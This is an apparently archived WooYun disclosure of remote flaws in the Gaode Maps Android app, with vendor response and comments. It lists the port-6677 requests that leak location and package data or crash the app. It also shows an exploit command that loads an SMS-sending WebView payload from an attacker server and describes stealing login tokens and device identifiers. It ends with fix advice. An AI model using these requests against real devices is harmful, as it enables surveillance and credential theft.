当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0114241

漏洞标题:高德地图远程获取手机的敏感信息可远程命令执行(可以远程利用非webview)

相关厂商:高德软件

漏洞作者: 小荷才露尖尖角

提交时间:2015-05-15 10:32

修复时间:2015-08-13 15:18

公开时间:2015-08-13 15:18

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-15: 细节已通知厂商并且等待厂商处理中
2015-05-15: 厂商已经确认,细节仅向厂商公开
2015-05-18: 细节向第三方安全合作伙伴开放
2015-07-09: 细节向核心白帽子及相关领域专家公开
2015-07-19: 细节向普通白帽子公开
2015-07-29: 细节向实习白帽子公开
2015-08-13: 细节向公众公开

简要描述:

null

详细说明:

0x01 概述
高德地图是一款装机量极大的地图应用,在各大应用市场的下载量均达到千万级别。但其Android版本(6.5.3-7.2.6)存在一系列远程命令执行漏洞,利用这个漏洞攻击者可以远程获取手机的敏感信息,实现对高德地图的拒绝服务,获取高德地图私有目录下的敏感文件,并远程执行命令。
0x02漏洞描述
以下分析针对官网正式版,版本号7.2.5.2050。
1. 漏洞原理
com.amap.api.service.AMapService中,可以看到高德地图app实现了一个小型的HTTP Server,该Server在tcp的6677端口监听,当请求满足一定条件时可以返回敏感信息,并根据请求消息执行一系列动作。
见run方法

listen.png


设置HTTP响应

response.png


请求满足的条件包括:
(1)Referer为如下网址中的一个

referer.png


(2)使用HTTP GET请求访问6677端口,并且形式为http://ip:6677/command?param1=value1&...&paramn=valuen
command为getpackageinfo、androidamap、geolocation中的其一

command.png


以下分三种情况:
(1)当command为geolocation时,可返回安装高德地图的手机用户地理位置信息;
(2)当command为getpackageinfo时,默认返回高德地图app本身的版本信息。此时若指定参数param1为packagename,即请求http://ip:6677/getpackageinfo?packagename=xxx时(xxx为软件包名)可返回手机上安装的xxx所指定的任意软件包版本信息。值得注意的是,若xxx为android,可返回android系统版本信息;
(3)当command为androidamap时,可以造成远程拒绝服务、甚至可以在高德地图app中远程执行命令,我们着重分析此种情况。
此时需要指定参数param1为action,即请求http://ip:6677/androidamap?action=yyy&param2=value2&...&paramn=valuen时,AMapService将设置一intent对象,其action为com.autonavi.minimap.Intent.Action,extra为{“method”:"androidamap","action","yyy","params","&param2=value2&...&paramn=valuen"},然后将其广播出去。搜索com.autonavi.minimap.Intent.Action,可发现AmapActionBroadcastReceiver对其进行处理。见com.autonavi.map.intent.AmapActionBroadcastReceiver中的onReceive方法

onreceive.png


OnReceive方法取出前面广播intent对象的extra,新建一个intent对象,设置intent uri为androidamap://yyy?sourceApplication=web&param2=value2&...&paramn=valuen,并以隐式intent的形式启动注册这种uri scheme的activiy.
在AnroidManifest文件中可发现,com.autonavi.map.activity.NewMapActivity注册了data secheme为androidamap的Intent Filter,且data host可以为showTraffic、viewMap、indoorMap、myLocation、bus、arroundpoi、route、keywordNavi、viewReGeo、viewPOIDetail、shortUrl、discovery、hotelList、gropbuyList、movieList、groupbuyDetail、navi2SpecialDest、rootmap、openmap、openTrafficRemind、multiPointShow、navi、poi、openFeature。
至此,我们得出这样的结论,可以通过远程访问
http://ip:6677/androidamap?action=yyy&param2=value2&...&paramn=valuen,启动目标ip中的com.autonavi.map.activity.NewMapActivity执行命令,其中yyy为上述data host中的任一。
2. 测试结果
对上述三种情况进行测试,归纳测试结果如下
HTTP GET请求 漏洞类型 漏洞造成的后果
http://ip:6677/geolocation? 敏感信息泄露 远程获取经纬度
http://ip:6677/getpackageinfo?packagename=xxx,其中xxx为软件包名 敏感信息泄露 远程获取xxx所指定的任意安装包信息
http://ip:6677/androidamap?action=showTraffice 远程命令执行 打开实时路况
http://ip:6677/androidamap?action=viewMap 远程拒绝服务 高德地图app停止运行
http://ip:6677/androidamap?action=indoorMap None None
http://ip:6677/androidamap?action=myLocation 远程命令执行 在地图中显示所处的位置
http://ip:6677/androidamap?action=viewMap 远程拒绝服务 高德地图app停止运行
http://ip:6677/androidamap?action=bus 远程命令执行 打开公交搜索框
http://ip:6677/androidamap?action=arroundpoi 远程命令执行 执行搜索
http://ip:6677/androidamap?action=route 远程拒绝服务 高德地图app停止运行
http://ip:6677/androidamap?action=keywordNavi None None
http://ip:6677/androidamap?action=viewReGeo None None
http://ip:6677/androidamap?action=viewPOIDetail None None
http://ip:6677/androidamap?action=shortUrl None 提示当前版本不支持
http://ip:6677/androidamap?action=discovery None 提示当前版本不支持
http://ip:6677/androidamap?action=hotelList None 提示“当前版本不支持”
http://ip:6677/androidamap?action=groupbuyList None 提示“当前版本不支持”
http://ip:6677/androidamap?action=navi2SpecialDest 远程拒绝服务 高德地图app停止运行
http://ip:6677/androidamap?action=rootmap None None
http://ip:6677/androidamap?action=openmap 远程拒绝服务 高德地图app停止运行
http://ip:6677/androidamap?action=openTrafficRemind None 提示当前版本不支持
http://ip:6677/androidamap?action=multiPointShow None 提示选择地图上的点
http://ip:6677/androidamap?action=navi None 打开在线导航
http://ip:6677/androidamap?action=nonexist 远程拒绝服务 app崩溃
注意上面最后一行,当action为以不存在的data host时,抛出空指针异常,导致远程拒绝服务,使高德地图app停止运行。另外,有些aciton也导致远程拒绝服务,我们推测主要是action后面缺少param参数,导致没有取到需要的intent extra,抛出空指针异常所致。
3. 当action为openFeature
严格来说,上面测试中的远程命令执行不算漏洞,因为没有对安全带来影响。下面我们单独讨论当远程HTTP GET请求访问http://ip:6677/androidamap?action=openFeature的情况,这种情况对安全影响最大,是真正的远程命令执行漏洞。
在com.autonavi.map.life.movie.view.MovieDetailHeaderView中,有以下代码

Uri v0_2 = Uri.parse("androidamap://openFeature?featureName=OpenURL&sourceApplication=banner&urlType=0&contentType=autonavi&url="
+ this.a.m.privilegeLink);
Intent v1 = new Intent(MovieDetailHeaderView.c(this.a).getApplicationContext(),
NewMapActivity.class);
v1.setData(v0_2);
v1.setFlags(268435456);
MovieDetailHeaderView.c(this.a).startActivity(v1);


这表明可以通过远程HTTP GET请求如下地址

http://ip:6677/androidamap?action=openFeature&featureName=OpenURL&sourceApplication=banner&urlType=0&contentType=autonavi&url=evilsite

使安装高德地图app的手机访问攻击者所操纵的链接evilsite,进一步的测试表明,这里存在WebView的漏洞,可以利用实现:
1. 窃取私有目录下的敏感文件:远程攻击者或者本地恶意app可以令WebView加载file://域的恶意脚本文件,按照恶意脚本的请求,窃取高德地图app私有目录下的敏感文件,包括手机IMEI、IMSI、MAC地址,登录token,突破android linux进程的访问控制;
2. WebView远程命令执行:存在可被网页中js操纵的接口jsinterface。由于高德地图针对的SDK版本较低(android:minSdkVersion="8"),在Android 4.4.2以下的手机,均可使用该接口,注入高德地图app进程执行命令。

漏洞证明:

0x03 漏洞证明
1. 远程获取敏感信息
获取地理位置:

getlocation.png


2. 远程获取安装的android系统信息与软件包信息:
获取android版本信息:

getandroidinfo.png


3.远程拒绝服务

dos.png


效果

dos-result.png


4.远程命令执行
操纵url访问任意网页:

visitany.png


效果

visitany-result.png


(1)配合本地恶意脚本,窃取私有目录下的敏感文件
位于/sdcard的本地恶意脚本attack.html

steal.png


远程操纵使其加载该恶意脚本(本地恶意app也可通过127.0.0.1操纵)

loadevil.png


成功获得高德地图app私有目录下的敏感文件,包含已登录淘宝账号的token

loadevil-result.png


如法炮制,同样可以窃取手机/data/data/com.autonavi.minimap/shared_prefs/私有目录下的其他文件
* Alvin2.xml包含手机IMEI明文;
* umeng_message_state.xml包含umeng app key和secret等信息;
* CookiePrefsFile.xml包含cookie session id信息;
* AppStore.xml包含mac地址、IMSI明文。
(2)Webviwe远程命令执行(影响4.4.2以下版本)
使用安装高德地图的4.3版android手机测试,发现高德地图app内置webview存在webview漏洞。
android版本

4.3.png


检测到webview漏洞,发现jsInterface接口可供利用

webview.png


在192.168.3.165搭建恶意webserver。

python -m SimpleHTTPServer


由于高德地图具有发送短信的权限,写一个利用jsInterface发送短信的exp
webview_exp.html

smsexp-1.png


利用如下命令攻击安装高德地图的目标手机192.168.3.180

python GaodeExp.py -c androidamap -p openFeature -u http://192.168.3.165:8000/webview_exp.html 192.168.3.180 6677


目标手机界面

test.png


攻击者手机收到目标机短信,可据此获知受害者的手机号。

sms-received-1.png


由于利用前面的漏洞(getpackageinfo)可以获取手机安装包和系统信息,利用jsInterface接口,还可以通过恶意网页针对性地写入root提权代码或植入木马并执行,造成更大的危害(各种通过Webview植入木马的EXP已经不少了吧,drozer就有现成的payload)。
0x04漏洞影响
该漏洞不仅可被恶意app本地利用,也可被远程利用。对于远程利用,显而易见,一种受漏洞影响的攻击利用场景是在公共WIFI网络,攻击者可以在公共WIFI网络的内网批量扫描打开高德地图的手机进行攻击。
但另外还有一种隐蔽的攻击场景是在3G/4G内网,国内移动分组网GGSN下面挂接的大量用户终端事实上可以互访,因此同样可以进行批量扫描。我们按照如下步骤在联通3G/4G内网进行了测试
(1)手机使用3G/4G上网,并打开WIFI热点共享.
(2)使用netstat查看移动分组网为手机分配的内网地址。
(3)PC使用手机共享的WIFI上网,在该内网地址C段进行扫描存在漏洞的手机,并获取受漏洞影响的高德地图版本信息。
我们扫描了两个C段,发现了4个打开高德地图的手机可以进行漏洞利用,并得知漏洞影响版本至少包括6.5.3,7.2.5.2050,7.2.6.1041beta。扫描结果vul.text

{"package":"com.autonavi.minimap","error_code":0,"error":"","version_code":525,"version":"7.2.5.2050"}
{"package":"com.autonavi.minimap","error_code":0,"error":"","version_code":525,"version":"7.2.5.2050"}
{"package":"com.autonavi.minimap","error_code":0,"error":"","version_code":453,"version":"6.5.3"}
{"package":"com.autonavi.minimap","error_code":0,"error":"","version_code":525,"version":"7.2.5.2050"}
{"package":"com.autonavi.minimap","error_code":0,"error":"","version_code":525,"version":"7.2.6.1041 Beta"}


由于在3G/4G网络下打开高德地图是比较常见的情形,而且相对于公共WIFI,用户感觉更加安全,因此可以更加隐蔽地利用该漏洞发起攻击,带来的危害更大。
另外我们注意到该漏洞出现在com.amap.api.service.AMapService中,因此可能影响到使用高德地图API的其他应用,限于时间关系,我们暂未进行测试。

修复方案:

1.在Android系统中,建议采用Binder跨进程通信,而非socket。如果短期内难以更改,建议只在127.0.0.1地址监听,并采用比referer检查更强的认证方式。
2.针对
androidamap://openFeature?featureName=OpenURL&sourceApplication=banner&urlType=0&contentType=autonavi&url=这种
Intent,禁止用户传入url
3.更新Android target SDK版本.
4.排查使用高德地图API的其他应用

版权声明:转载请注明来源 小荷才露尖尖角@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:1

确认时间:2015-05-15 15:16

厂商回复:

该漏洞之前已有白帽子上报到ASRC,业务方正在修复中,感谢支持阿里安全工作。

最新状态:

暂无


漏洞评价:

评论

  1. 2015-05-15 10:36 | 毕月乌 ( 普通白帽子 | Rank:120 漏洞数:16 | 猜猜我是谁?)

    前排出售瓜子饮料

  2. 2015-05-15 10:43 | 紫霞仙子 ( 普通白帽子 | Rank:2027 漏洞数:279 | 天天向上 !!!)

    @毕月乌 来个十斤!

  3. 2015-05-15 10:53 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1044 漏洞数:106 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)

    屌屌的

  4. 2015-05-15 10:55 | Finger 认证白帽子 ( 普通白帽子 | Rank:777 漏洞数:95 | 最近有人冒充该账号行骗,任何自称Finger并...)

    很有学习价值

  5. 2015-05-15 10:57 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了,跪着也要...)

    目测新思路,得学习下

  6. 2015-05-15 12:10 | an0nym0u5 ( 普通白帽子 | Rank:172 漏洞数:31 )

    大家猜是哪位大神

  7. 2015-05-15 12:42 | 哈兹本德 ( 路人 | Rank:24 漏洞数:2 | 哎呀,菜鸟一枚。)

    路人甲是一个邪恶的组织啊

  8. 2015-05-15 14:21 | 我能拒绝么 ( 路人 | Rank:10 漏洞数:3 | 疯爆志林)

    中国“路人甲”组织表示即将对美国政府网站进行攻击

  9. 2015-05-15 15:18 | 红客十年 ( 普通白帽子 | Rank:334 漏洞数:63 | 去年离职富士康,回到家中上蓝翔,蓝翔毕业...)

    1………这个雷白打了

  10. 2015-05-15 15:19 | 梧桐雨 认证白帽子 ( 核心白帽子 | Rank:1576 漏洞数:184 | 关注技术与网络安全)

    1

  11. 2015-05-15 15:35 | 紫霞仙子 ( 普通白帽子 | Rank:2027 漏洞数:279 | 天天向上 !!!)

    最近流行1,哈哈哈

  12. 2015-05-15 15:36 | 小荷才露尖尖角 ( 实习白帽子 | Rank:91 漏洞数:13 | less is more)

    说明阿里并不重视高德

  13. 2015-05-15 15:40 | 紫霞仙子 ( 普通白帽子 | Rank:2027 漏洞数:279 | 天天向上 !!!)

    @小荷才露尖尖角 这个重不重视有毛关系。

  14. 2015-05-15 15:47 | Mr.leo ( 普通白帽子 | Rank:1314 漏洞数:176 | 说点神马呢!!)

    1………这个雷白打了

  15. 2015-05-15 15:53 | answer ( 普通白帽子 | Rank:347 漏洞数:45 | 答案)

    U最近流行1 哈哈

  16. 2015-05-15 15:55 | 紫霞仙子 ( 普通白帽子 | Rank:2027 漏洞数:279 | 天天向上 !!!)

    这个1,伤碎了多少人的心。

  17. 2015-05-15 16:07 | 小荷才露尖尖角 ( 实习白帽子 | Rank:91 漏洞数:13 | less is more)

    1就1吧,感谢乌云打雷,让我找回了价值

  18. 2015-05-16 10:17 | 炊烟 ( 普通白帽子 | Rank:238 漏洞数:44 | 每一天都需要努力。)

    赚了

  19. 2015-05-18 21:32 | 这只猪 ( 路人 | Rank:5 漏洞数:2 | 南无阿弥陀佛!)

    厂商真抠,请得起白富美邀的了高富帅,就是不给乌云币

  20. 2015-05-18 22:00 | 毕月乌 ( 普通白帽子 | Rank:120 漏洞数:16 | 猜猜我是谁?)

    @紫霞仙子 十斤瓜子你吃得了么!

  21. 2015-05-19 10:01 | 紫霞仙子 ( 普通白帽子 | Rank:2027 漏洞数:279 | 天天向上 !!!)

    @毕月乌 我又不是一次吃完!

  22. 2015-05-19 10:19 | 毕月乌 ( 普通白帽子 | Rank:120 漏洞数:16 | 猜猜我是谁?)

    @紫霞仙子 小心放坏了

  23. 2015-05-19 22:35 | 明月影 ( 路人 | Rank:12 漏洞数:8 | 学姿势,学思路。)

    可怜的分数啊。

  24. 2015-05-20 23:26 | PythonPig ( 普通白帽子 | Rank:491 漏洞数:71 | 只会简单工具的小小菜)

    膜拜专家

  25. 2015-05-21 13:53 | 深瞳 ( 路人 | Rank:2 漏洞数:1 | 我在看,在学习!)

    围观,虽然啥也看不到。

  26. 2015-05-22 20:13 | Fire ant ( 实习白帽子 | Rank:73 漏洞数:26 | 他们回来了................)

    已围观

  27. 2015-07-09 16:51 | 梧桐雨 认证白帽子 ( 核心白帽子 | Rank:1576 漏洞数:184 | 关注技术与网络安全)

    细节太精彩了。。

  28. 2015-07-19 16:05 | 小手冰凉 ( 普通白帽子 | Rank:174 漏洞数:18 | 幸福你我他)

    哥们 辛苦了。。。

  29. 2015-07-20 10:02 | Adra1n ( 普通白帽子 | Rank:437 漏洞数:68 )

    1分。。

  30. 2015-07-20 14:18 | Nicky ( 普通白帽子 | Rank:477 漏洞数:69 | http://www.droidsec.cn 安卓安全中文站)

    想转发到droidsec.cn 可惜还没完全公开呐

  31. 2015-08-04 18:57 | 金枪银矛小霸王 ( 普通白帽子 | Rank:103 漏洞数:25 | 不会挖洞洞的猿猿不是好学生)

    看不懂。。。

  32. 2015-08-13 17:58 | k0_pwn ( 路人 | Rank:2 漏洞数:2 | 专注二进制许多年,突然觉得web才好玩)

    就喜欢看逆向这块的,可惜我的IDA连ARM的F5都没有!

  33. 2015-08-13 19:48 | J0e ( 路人 | Rank:6 漏洞数:3 | 心若苍井空似水)

    1Rank 这个亮了 打字费都不止= =

  34. 2015-08-14 12:54 | Rainism ( 路人 | Rank:11 漏洞数:3 | hacking for fun)

    好厉害

  35. 2015-08-20 17:36 | Passer_by ( 实习白帽子 | Rank:97 漏洞数:21 | 问题真实存在但是影响不大(腾讯微博Passer...)

    不会是发asrc了又复制一份发乌云吧?